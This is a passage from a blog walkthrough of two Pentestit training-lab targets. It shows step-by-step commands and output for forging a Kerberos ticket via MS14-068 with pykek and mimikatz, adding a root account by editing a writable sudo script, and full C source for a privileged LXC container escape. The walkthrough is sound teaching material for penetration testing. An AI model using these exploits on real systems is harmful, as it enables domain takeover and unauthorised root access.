512          WIN-TERM\support-user                                                               FALSE     WIN-TERM    support-user                    TRUE          FALSE    support-user   FALSE               FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1002  1        OK
512          GDS-OFFICE\Administrator  Built-in account for administering the computer/domain    FALSE     GDS-OFFICE                                  FALSE         FALSE    Administrator  TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-500   1        OK
512          GDS-OFFICE\Guest          Built-in account for guest access to the computer/domain  TRUE      GDS-OFFICE                                  FALSE         FALSE    Guest          FALSE               FALSE            FALSE             S-1-5-21-421115581-889488229-2938181853-501   1        Degraded
512          GDS-OFFICE\krbtgt         Key Distribution Center Service Account                   TRUE      GDS-OFFICE                                  FALSE         FALSE    krbtgt         TRUE                TRUE             TRUE              S-1-5-21-421115581-889488229-2938181853-502   1        Degraded
512          GDS-OFFICE\r.breese                                                                 FALSE     GDS-OFFICE  Richard Breese                  FALSE         FALSE    r.breese       TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1103  1        OK
512          GDS-OFFICE\k.barth                                                                  FALSE     GDS-OFFICE  Kenneth Barth                   FALSE         FALSE    k.barth        TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1104  1        OK
512          GDS-OFFICE\d.casper                                                                 FALSE     GDS-OFFICE  Douglas Casper                  FALSE         FALSE    d.casper       TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1105  1        OK
512          GDS-OFFICE\m.howard                                                                 FALSE     GDS-OFFICE  Michael Howard                  FALSE         FALSE    m.howard       TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1106  1        OK
512          GDS-OFFICE\w.mcconnel                                                               FALSE     GDS-OFFICE  Wallace McConnell               FALSE         FALSE    w.mcconnel     TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1107  1        OK
512          GDS-OFFICE\m.whelchel                                                               FALSE     GDS-OFFICE  Michael Whelchel                FALSE         FALSE    m.whelchel     TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1108  1        OK
512          GDS-OFFICE\m.cathcart                                                               FALSE     GDS-OFFICE  Michael Cathcart                FALSE         FALSE    m.cathcart     TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1109  1        OK
512          GDS-OFFICE\g.mcdonald                                                               FALSE     GDS-OFFICE  Gregory McDonald                FALSE         FALSE    g.mcdonald     TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1110  1        OK
512          GDS-OFFICE\m.hoffman                                                                FALSE     GDS-OFFICE  Micheal Hoffman                 FALSE         FALSE    m.hoffman      TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1111  1        OK
512          GDS-OFFICE\j.wise                                                                   FALSE     GDS-OFFICE  Joshua Wise                     FALSE         FALSE    j.wise         TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1112  1        OK
512          GDS-OFFICE\g.leone                                                                  FALSE     GDS-OFFICE  Gary Leone                      FALSE         FALSE    g.leone        TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1113  1        OK
512          GDS-OFFICE\o.frazier                                                                FALSE     GDS-OFFICE  Odell Frazier                   FALSE         FALSE    o.frazier      TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1114  1        OK
512          GDS-OFFICE\j.juneau                                                                 FALSE     GDS-OFFICE  John Juneau                     FALSE         FALSE    j.juneau       TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1115  1        OK
512          GDS-OFFICE\a.modlin                                                                 FALSE     GDS-OFFICE  Alfred Modlin                   FALSE         FALSE    a.modlin       TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1116  1        OK
512          GDS-OFFICE\t.mcbride                                                                FALSE     GDS-OFFICE  Thurman McBride                 FALSE         FALSE    t.mcbride      TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1117  1        OK
512          GDS-OFFICE\p.thompson                                                               FALSE     GDS-OFFICE  Philip Thompson                 FALSE         FALSE    p.thompson     TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1118  1        OK
512          GDS-OFFICE\s.locklear                                                               FALSE     GDS-OFFICE  Scott Locklear                  FALSE         FALSE    s.locklear     TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1119  1        OK
512          GDS-OFFICE\k.torres                                                                 FALSE     GDS-OFFICE  Kevin Torres                    FALSE         FALSE    k.torres       TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1120  1        OK
512          GDS-OFFICE\k.mccants                                                                FALSE     GDS-OFFICE  Kirk McCants                    FALSE         FALSE    k.mccants      TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1121  1        OK
512          GDS-OFFICE\g.oliva                                                                  FALSE     GDS-OFFICE  Gilberto Oliva                  FALSE         FALSE    g.oliva        TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1122  1        OK
512          GDS-OFFICE\e.magnusson                                                              FALSE     GDS-OFFICE  Edward Magnusson                FALSE         FALSE    e.magnusson    TRUE                FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1124  1        OK
512          GDS-OFFICE\e.lindsey                                                                FALSE     GDS-OFFICE  E L                             FALSE         FALSE    e.lindsey      FALSE               FALSE            TRUE              S-1-5-21-421115581-889488229-2938181853-1131  1        OK

Wow, that’s a ton of output. Let’s try to search just for e.lindsey’s user account information and pull her SID which we will need for forging a Kerberos TGT.

wmic:root\cli>useraccount where name="e.lindsey" get sid
SID
S-1-5-21-421115581-889488229-2938181853-1131

Utilizing the MS14-068 Exploit to Forge a Kerberos TGT:

Now that we have e.lindsey’s SID, we can go ahead and attempt to exploit MS14-068.

Some of you might be wondering on how I got to this assumption that MS14-068 is the viable exploit?

Well if you take a look back at the Nmap scan results – TCP/88 gives us the Kerberos Version.

88/tcp    open  kerberos-sec   Windows 2003 Kerberos (server time: 2017-02-10 03:46:05Z)

Windows Server 2003 was one of the affected versions due to this vulnerability – and it’s widely possible that it hasn’t been patched!

For us to exploit this vulnerability we have to go ahead and install Pykek, or the Python Kerberos Exploitation Kit on our Kali machine.

root@kali:~/gds# git clone https://github.com/bidord/pykek.git
Cloning into 'pykek'...
remote: Counting objects: 94, done.
remote: Total 94 (delta 0), reused 0 (delta 0), pack-reused 94
Unpacking objects: 100% (94/94), done.
root@kali:~/gds# ls
39719.ps1    common.txt             lindsey_hash  port_force.py  script.py
40637        dir_enum.py            names.txt     pykek          small.txt
captcha.bak  gds-authenticator.apk  pass.txt      rockyou.txt
root@kali:~/gds# cd pykek/
root@kali:~/gds/pykek# ls
kek  ms14-068.py  pyasn1  README.md

Once you got that installed and have navigated to the pykek folder, let’s go ahead and give ms14-068.py executable permissions, and then run the exploit!

root@kali:~/gds/pykek# chmod +x ms14-068.py 
root@kali:~/gds/pykek# ./ms14-068.py -u e.lindsey@gds-office.lab -p Lindsey123 -s S-1-5-21-421115581-889488229-2938181853-1131 -d 192.168.0.2
  [+] Building AS-REQ for 192.168.0.2... Done!
  [+] Sending AS-REQ to 192.168.0.2... Done!
  [+] Receiving AS-REP from 192.168.0.2... Done!
  [+] Parsing AS-REP from 192.168.0.2... Done!
  [+] Building TGS-REQ for 192.168.0.2... Done!
  [+] Sending TGS-REQ to 192.168.0.2... Done!
  [+] Receiving TGS-REP from 192.168.0.2... Done!
  [+] Parsing TGS-REP from 192.168.0.2... Done!
  [+] Creating ccache file 'TGT_e.lindsey@gds-office.lab.ccache'... Done!
root@kali:~/gds/pykek# ls
kek  ms14-068.py  pyasn1  README.md  TGT_e.lindsey@gds-office.lab.ccache

After successfully running the exploit, you should see that a TGT was created for e.lindsey.

Now, for us to successfully utilize this TGT, we will need to use Mimikatz.

So let’s copy over the x64 version of Mimikatz from our Kali machine, along with the TGT to our mounted share on the WIN-TERM machine.

root@kali:~/gds/pykek# cp TGT_e.lindsey@gds-office.lab.ccache /root/gds
root@kali:~/gds/pykek# cd ..
root@kali:~/gds# cp -r /usr/share/mimikatz/x64/ /root/gds/
root@kali:~/gds# cp TGT_e.lindsey@gds-office.lab.ccache x64/
root@kali:~/gds# cd x64/
root@kali:~/gds/x64# ls
mimidrv.sys  mimikatz.exe  mimilib.dll  TGT_e.lindsey@gds-office.lab.ccache

Once that’s completed, let’s return back to the WIN-TERM machine and see if everything is there.

Awesome! Now that everything is in place, let’s copy the x64 folder over to C:\share on the WIN-TERM machine.

After that’s done, let’s open up a Command Prompt and navigate to the x64 folder.

C:\Users\e.lindsey>cd \share
C:\share>dir
 Volume in drive C has no label.
 Volume Serial Number is 52A6-CE75

 Directory of C:\share

02/09/2017  08:21 PM    <DIR>          .
02/09/2017  08:21 PM    <DIR>          ..
11/23/2016  08:21 AM        20,971,520 mywork_gds_disk
02/09/2017  08:21 PM    <DIR>          x64
               1 File(s)     20,971,520 bytes
               3 Dir(s)  19,953,479,680 bytes free

C:\share>cd x64
C:\share\x64>dir
 Volume in drive C has no label.
 Volume Serial Number is 52A6-CE75

 Directory of C:\share\x64

02/09/2017  08:21 PM    <DIR>          .
02/09/2017  08:21 PM    <DIR>          ..
02/09/2017  08:15 PM            33,008 mimidrv.sys
02/09/2017  08:15 PM           727,552 mimikatz.exe
02/09/2017  08:15 PM            32,256 mimilib.dll
02/09/2017  08:19 PM             1,157 TGT_e.lindsey@gds-office.lab.ccache
               4 File(s)        793,973 bytes
               2 Dir(s)  19,953,479,680 bytes free

From here, we need to run the klist command and purge all the cached Kerberos Tickets to prevent issues when forging a new one.

C:\share\x64>klist purge

Current LogonId is 0:0x24096
        Deleting all tickets:
        Ticket(s) purged!

Once that has been completed and all Kerberos tickets are purged from cache, we can utilize Mimikatz to inject our forged Kerberos TGT to gain a valid TGS (Kerberos Service Ticket).

C:\share\x64>mimikatz.exe "Kerberos::ptc TGT_e.lindsey@gds-office.lab.ccache"

  .#####.   mimikatz 2.1 (x64) built on Nov 26 2016 02:28:33
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(commandline) # Kerberos::ptc TGT_e.lindsey@gds-office.lab.ccache

Principal : (01) : e.lindsey ; @ GDS-OFFICE.LAB

Data 0
           Start/End/MaxRenew: 2/9/2017 8:12:51 PM ; 2/10/2017 6:12:51 AM ; 2/16/2017 8:12:51 PM
           Service Name (01) : krbtgt ; GDS-OFFICE.LAB ; @ GDS-OFFICE.LAB
           Target Name  (01) : krbtgt ; GDS-OFFICE.LAB ; @ GDS-OFFICE.LAB
           Client Name  (01) : e.lindsey ; @ GDS-OFFICE.LAB
           Flags 50a00000    : pre_authent ; renewable ; proxiable ; forwardable ;
           Session Key       : 0x00000017 - rc4_hmac_nt
             443f1a3d8f096a61b556551365bdf5ee
           Ticket            : 0x00000000 - null              ; kvno = 2        [...]
           * Injecting ticket : OK

mimikatz # exit
Bye!

Finding the WIN-DC0 Token:

Now that we have a valid TGS, let’s go ahead and use the net use command to mount the admin$ share of the WIN-DC0 machine, and then mount the C$ drive of the WIN-DC0 machine to the K network share.

C:\share\x64>net use \\WIN-DC0.gds-office.lab\admin$
The command completed successfully.

C:\share\x64>net use K: \\WIN-DC0.gds-office.lab\C$
The command completed successfully.

If we return to the WIN-TERM Machine, we can see that we have access to the WIN-DC0 C$ share.

After looking through the Admin Share, we will find the WIN-DC0 Token in the My Documents folder.

Token (12/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the WIN-DC0 Machine via MS14-068 to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise our final Token (13/13) – The Cloud Token!

Pentestit Lab v10 – Cloud Token (13/13)

In my previous post “Pentestit Lab v10 – WIN-DC0 Token (12/13)”, we utilized our VPN access and the WIN-TERM machine to pivot into the WIN-DC0 machine, gathered account and domain information, exploited the MS14-068 vulnerability to forge a Kerberos Ticket, mounted the Admin share of WIN-DC0 to the WIN-TERM machine, and found our twelfth token. Today we will utilize our VPN and compromised domain to attack the Cloud machine – which will include the following:

  • Fingerprinting & Accessing the Cloud Machine
  • Exploiting Script Permissions
  • Utilizing a Privileged LXC Escape
  • Finding the Cloud Token

Fingerprinting & Accessing the Cloud Machine:

Okay, we are finally going to compromise our last machine on the network! So let’s start by running an Nmap scan on the Cloud machine which is located at the IP of 172.16.0.3.

Nmap scan report for 172.16.0.3
Host is up (0.00092s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.6.2
2222/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.23 seconds

Initial looks at the scan show that TCP/2222 (SSH) is open – to which we have credentialed access! Remember, we found rross’s credentials for this port after compromising the KeePass Database on the WIN-TERM machine!

At this point, let’s set up our VPN to access the 172.16.0.0/24 network.

root@kali:~/gds# sshuttle -r e.lindsey@192.168.101.9 172.16.0.0/24
e.lindsey@192.168.101.9's password: 
client: Connected.

Once that’s done, we can go ahead and SSH into the Cloud Machine via TCP/2222.

root@kali:~# ssh rross@172.16.0.3 -p 2222
The authenticity of host '[172.16.0.3]:2222 ([172.16.0.3]:2222)' can't be established.
ECDSA key fingerprint is SHA256:9KYw4vLfzBj0vOda53yNDhsAwdR4zMuZxojT0tp8/FE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[172.16.0.3]:2222' (ECDSA) to the list of known hosts.
rross@172.16.0.3's password: 
Linux lxc2 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) x86_64
rross@lxc2:~$ id
uid=1000(rross) gid=1000(rross) groups=1000(rross)

Okay, so we were able to successfully login to the Cloud Machine! From here let’s run the “sudo -l” command to see if we have root permissions for any files/folders or commands.

rross@lxc2:~$ sudo -l
sudo: unable to resolve host lxc2
Matching Defaults entries for rross on lxc2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rross may run the following commands on lxc2:
    (root) NOPASSWD: /opt/scripts/clear_nginx_logs.sh

So it seems that we are able to run the clear_nginx_logs.sh bash script in the /opt/scripts/ directory!

Let’s see what permissions the script has – because if it’s running with root privileges, then we can use the script for privilege escalation!

rross@lxc2:~$ ls -la /opt/scripts/
total 8
drwxr-xr-x 2 root root 4096 Sep 26 21:11 .
drwxr-xr-x 3 root root 4096 Sep 26 20:43 ..

Well that’s odd…. the script isn’t even there!

At this point something caught my eye that I previously missed. Note that the name of the machine isn’t “cloud” but “lxc2”! I came to realize that I was in a LXC or Linux Container.

A LXC (Linux Containers) is an operating-system-level virtualization method for running multiple isolated Linux systems (containers) on a control host using a single Linux kernel.

The Linux kernel provides the cgroups functionality that allows limitation and prioritization of resources (CPU, memory, block I/O, network, etc.) without the need for starting any virtual machines, and also namespace isolation functionality that allows complete isolation of an applications’ view of the operating environment, including process trees, networking, user IDs and mounted file systems.

So, since we are in a different container, let’s disconnect from out SSH Session and try connecting to the Cloud machine again. Hopefully it will log us into a different container.

root@kali:~# ssh rross@172.16.0.3 -p 2222
rross@172.16.0.3's password: 
Linux lxc1 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) x86_64
rross@lxc1:~$ ls -la /opt/scripts/
total 12
drwxr-xr-x 2 root root 4096 Sep 25 20:56 .
drwxr-xr-x 3 root root 4096 Sep 26 20:43 ..
-rwxrwxrwx 1 root root  101 Nov 25 23:15 clear_nginx_logs.sh

Awesome! Note that we are now in the “lxc1” container, the clear_nginx_logs.sh script is there, and it has root privileges!

Exploiting Script Permissions:

Alright, now that we have the script present, let’s open it up and see what’s inside.

rross@lxc1:~$ nano /opt/scripts/clear_nginx_logs.sh 


#!/bin/bash
 
## Cleaning NGINX log
echo > /var/log/nginx/access.log
echo > /var/log/nginx/error.log

Okay… so it seems that the script is clearing out access and error logs, so it’s not much use to us.

But, what we can do is exploit this script to add a new “root” account every time it runs!

We can start by generating a hashed password via opnessl.

rross@lxc1:~$ openssl passwd pass123
vjldnvO9rGgIE

Once we have the password, let’s open the script back up and add an echo command that will create an admin account with the name of “hacker”, along with root access to /bin/bash/. We will then pipe the output to /etc/passwd.

rross@lxc1:~$ nano /opt/scripts/clear_nginx_logs.sh 


#!/bin/bash
 
## Cleaning NGINX log
echo > /var/log/nginx/access.log
echo > /var/log/nginx/error.log

echo "hacker:vjldnvO9rGgIE:0:0:hacker:/root:/bin/bash" >> /etc/passwd

Once that’s done, save the script, and then run it.

rross@lxc1:~$ sudo /opt/scripts/clear_nginx_logs.sh 
sudo: unable to resolve host lxc1
/opt/scripts/clear_nginx_logs.sh: line 4: /var/log/nginx/access.log: No such file or directory
/opt/scripts/clear_nginx_logs.sh: line 5: /var/log/nginx/error.log: No such file or directory

After running the script, let’s make sure that we have root access.

rross@lxc1:~$ su hacker
Password: 
root@lxc1:/home/rross# id
uid=0(root) gid=0(root) groups=0(root)

Utilizing a Privileged LXC Escape:

Okay, so we have root access! The only problem is that we are still in the LXC container – so we don’t have direct access to the Cloud machine.

What we need to do next, is somehow find a way to be able to break out of this container and access the Cloud machine directly.

There is actually a really good Whitepaper written by Jesse Hertz of the NCC Group about Abusing Privileged and Unprivileged Linux Containers – which I highly suggest you read!

After reading through the whitepaper, we are presented with a PoC exploit for breaking out of LXC Containers.

I took the liberty to clean up the exploit a little bit for readability and to fix some indentation issues.

/*
* @author Tim Newsham
* use ptrace to bypass seccomp rule against open_handle_at
* and use open_handle_at to get a handle on the REAL root dir
* and then chroot to it. This escapes privileged lxc container.
* gcc -g -Wall secopenchroot.c -o secopenchroot
* ./secopenchroot /tmp "02 00 00 00 00 00 00 00"
*
* assuming that the real root has file handle "02 00 00 00 00 00 00 00"
*/

#include <stdio.h>
#include <stdlib.h>
#include <syscall.h>
#include <errno.h>
#include <sys/signal.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <linux/kexec.h>
#include <sys/user.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#define _GNU_SOURCE
#define __USE_GNU
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int getDat(char *p, unsigned char *buf)
{
	char *ep;
	int n, val;

	n = 0;
	while(*p) {
		while(isspace(*p)) p++;
		val = strtoul(p, &ep, 16);
		if(ep != p + 2)
			return -1;
		p = ep;
		buf[n++] = val;
		while(isspace(*p)) p++;
	}
	return n;
}

void attack(char *fn, char *dat)
{
	unsigned char buf[16 + MAX_HANDLE_SZ];
	struct file_handle *fp = (struct file_handle *)buf;
	int n, mfd, fd;

	fp->handle_type = 1;
	n = getDat(dat, fp->f_handle);
	if(n == -1) {
		printf("bad data!\n");
		exit(1);
	}
	fp->handle_bytes = n;
	mfd = open(fn, 0);
	if(mfd == -1) {
		perror(fn);
		exit(1);
	}

	//fd = open_by_handle_at(mfd, fp, 0);
	fd = syscall(SYS_getpid, SYS_open_by_handle_at, mfd, fp, 0);
	if(fd == -1) {
		perror("open_by_handle");
		exit(1);
	}
	printf("opened %d\n", fd);
	fchdir(fd);
	chroot(".");
	system("sh -i");

}

/* step to start or end of next system call */
int sysStep(int pid)
{
	int st;
	if(ptrace(PTRACE_SYSCALL, pid, NULL, NULL) == -1) {
		perror("ptrace syscall");
		return -1;
	}
	if(waitpid(pid, &st, __WALL) == -1) {
		perror("waitpid");
		return -1;
	}
	//printf("status %x\n", st);
	if(!(WIFSTOPPED(st) && WSTOPSIG(st) == SIGTRAP))
		return -1;
	return 0;
}

void dumpregs(int pid)
{
	struct user_regs_struct regs;
	if(ptrace(PTRACE_GETREGS, pid, NULL, &regs) == -1)
		return;
	printf("rip %016llx ", regs.rip);
	printf("rsp %016llx ", regs.rsp);
	printf("efl %016llx\n", regs.eflags);
	printf("rax %016llx orig %016llx ", regs.rax, regs.orig_rax);
	printf("rdi %016llx\n", regs.rdi);
	printf("rsi %016llx ", regs.rsi);
	printf("rdx %016llx ", regs.rdx);
	printf("rcx %016llx\n", regs.rcx);
	printf("r8 %016llx ", regs.r8);
	printf("r9 %016llx ", regs.r9);
	printf("r10 %016llx\n", regs.r10);
	printf("\n");
}

int main(int argc, char **argv)
{
	struct user_regs_struct regs;
	int pid;

	if(argc != 3) {
		printf("bad usage\n");
		exit(1);
	}

	switch((pid = fork())) {
	case -1: perror("fork"); exit(1);
	case 0: /* child: get traced and do our attack */
		ptrace(PTRACE_TRACEME, 0, NULL, NULL);
		kill(getpid(), SIGSTOP);
		attack(argv[1], argv[2]);
		exit(0);
	}

	/* parent: translate getpid calls into other syscalls. max 4 args. */
	waitpid(pid, 0, 0); /* wait for attach */
	while(sysStep(pid) != -1) {
		/* potentially tamper with syscall */
		if(ptrace(PTRACE_GETREGS, pid, NULL, &regs) == -1) {
			perror("ptrace getregs");
			break;
		}

		/*
		* note: we wont get a syscall-enter-stop for any
		* seccomp filtered syscalls, just the syscall-exit-stop.
		*/
		if(regs.rax != -ENOSYS) /* not a syscall-enter-stop ! */
			continue;


		if(regs.orig_rax == SYS_getpid) {
			regs.orig_rax = regs.rdi;
			regs.rdi = regs.rsi;
			regs.rsi = regs.rdx;
			regs.rdx = regs.r10;
			regs.r10 = regs.r8;
			regs.r8 = regs.r9;
			regs.r9 = 0;
			printf("syscallX %llu, before tampering\n", regs.orig_rax); dumpregs(pid);
			ptrace(PTRACE_SETREGS, pid, NULL, &regs);
			printf("after tampering\n");dumpregs(pid);
		}
		//printf("before\n");dumpregs(pid);


		if(sysStep(pid) == -1) /* go to syscall exit */
			break;
		//printf("after\n");dumpregs(pid);
	}
	return 0;
}

Go ahead and copy the exploit above over to the LXC Container and save it as root.c.

root@lxc1:/home/rross# nano /tmp/root.c
root@lxc1:~# cd /tmp
root@lxc1:/tmp# ls
root.c

After you have the exploit saved and ready to go, let’s compile it, and then run it!

root@lxc1:/tmp# gcc -g -Wall root.c -o root
root@lxc1:/tmp# ls
root  root.c
root@lxc1:/tmp# chmod +x root
root@lxc1:/tmp# ./root /tmp "02 00 00 00 00 00 00 00"
syscallX 304, before tampering
rip 00007fb85648c5b9 rsp 00007fff9035ef38 efl 0000000000000202
rax ffffffffffffffda orig 0000000000000027 rdi 0000000000000130
rsi 0000000000000003 rdx 00007fff9035ef50 rcx ffffffffffffffff
r8 00007fff9035f8d4 r9 00007fff9035f8bd r10 0000000000000000

after tampering
rip 00007fb85648c5b9 rsp 00007fff9035ef38 efl 0000000000000202
rax ffffffffffffffda orig 0000000000000130 rdi 0000000000000003
rsi 00007fff9035ef50 rdx 0000000000000000 rcx ffffffffffffffff
r8 00007fff9035f8bd r9 0000000000000000 r10 00007fff9035f8d4

opened 4
# 

Finding the Cloud Token:

Awesome! The exploit worked and we broke out of the container! Let’s check if we still have root privileges and then let’s try finding the token!

# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/
# cd /root
# ls
ipt.sh	ntdsutil_snapshot.zip  token.txt

Token (13/13):

Congrats on finding the last token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the Cloud Machine via a Privileged LXC Exploit to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

Closing Comments:

At this point of the Pentestit Lab you should have 100% Completion!

Congratulations on completing the Pentestit Lab – you have proved that you have necessary skill to be a pentester!

I have received many emails in regards of my thought process, and execution throughout the Pentestit Lab, as well as questions about the difficulty between this and the OSCP.

So I will take some time to answers some of these questions here – hopefully you are still reading this!

Q&A:

  1. How did you know to use exploit X for Machine Y?
    • Whenever you are attacking a machine you have to make sure that you do thorough Information Gathering. This will aid you in finding hidden content, usernames, comments, directories, as well as provide you with system/application versions and names. Once you have gathered all that information it is time to do some research on Google as to what public facing exploits and vulnerabilities are there. Over time you start becoming familiar with the really well known exploits and attack methods for certain system. Remember, nothing is 100% secure and there is probably always some vulnerability out there that hasn’t been patched yet!
  2. Why did you attack machine X first, then Y? What was your process for that?
  3. In regards to the OSCP, what level of difficulty is the OSCP compared to the Pentestlab.
    • It really depends – I would say about a tad easier than the Pentestit Lab. The Windows Machines like WIN-TERM and WIN-DC0 will be of similar difficulty in the OSCP labs. If you were able to do the Pentestit Lab without much help, and have completed Pegasus, Tr0ll 1/2, SickOS 1/2, and Kioptrix 1-5 on VulnHub then you are ready for the OSCP Lab. Just remember that you will need to put in a lot of extra research time for the OSCP Lab to cover subjects the PWK might skim over, so thread lightly!

Thanks for reading everyone – As always, any questions or comments, just leave them bellow!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s